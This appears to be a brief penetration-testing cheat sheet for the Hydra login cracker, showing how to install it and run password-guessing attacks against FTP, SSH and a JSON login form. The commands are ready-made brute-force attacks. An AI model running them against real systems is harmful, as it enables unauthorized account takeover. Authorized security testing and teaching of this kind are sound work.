Hydra (Parallelized login cracker) # Install hydra tool sudo apt install hydra # Cracking FTP service hydra -t 10 -l USER -P wordlist.txt -vV TARGETHOST ftp # Cracking SSH service hydra -t 10 -l USER -P wordlist.txt -vV TARGETHOST ssh # Cracking HTTP POST body json based #F=String when attempt fail #S=String when attempt was succeed #H=Extra headers if needed hydra -t 10 -l USER -P wordlist.txt -vV TARGETHOST http-post-form \ "/path/to/the/api:username=^USER^&password=^PASS^:F=StringWhenFailed:H=Accept: application/json"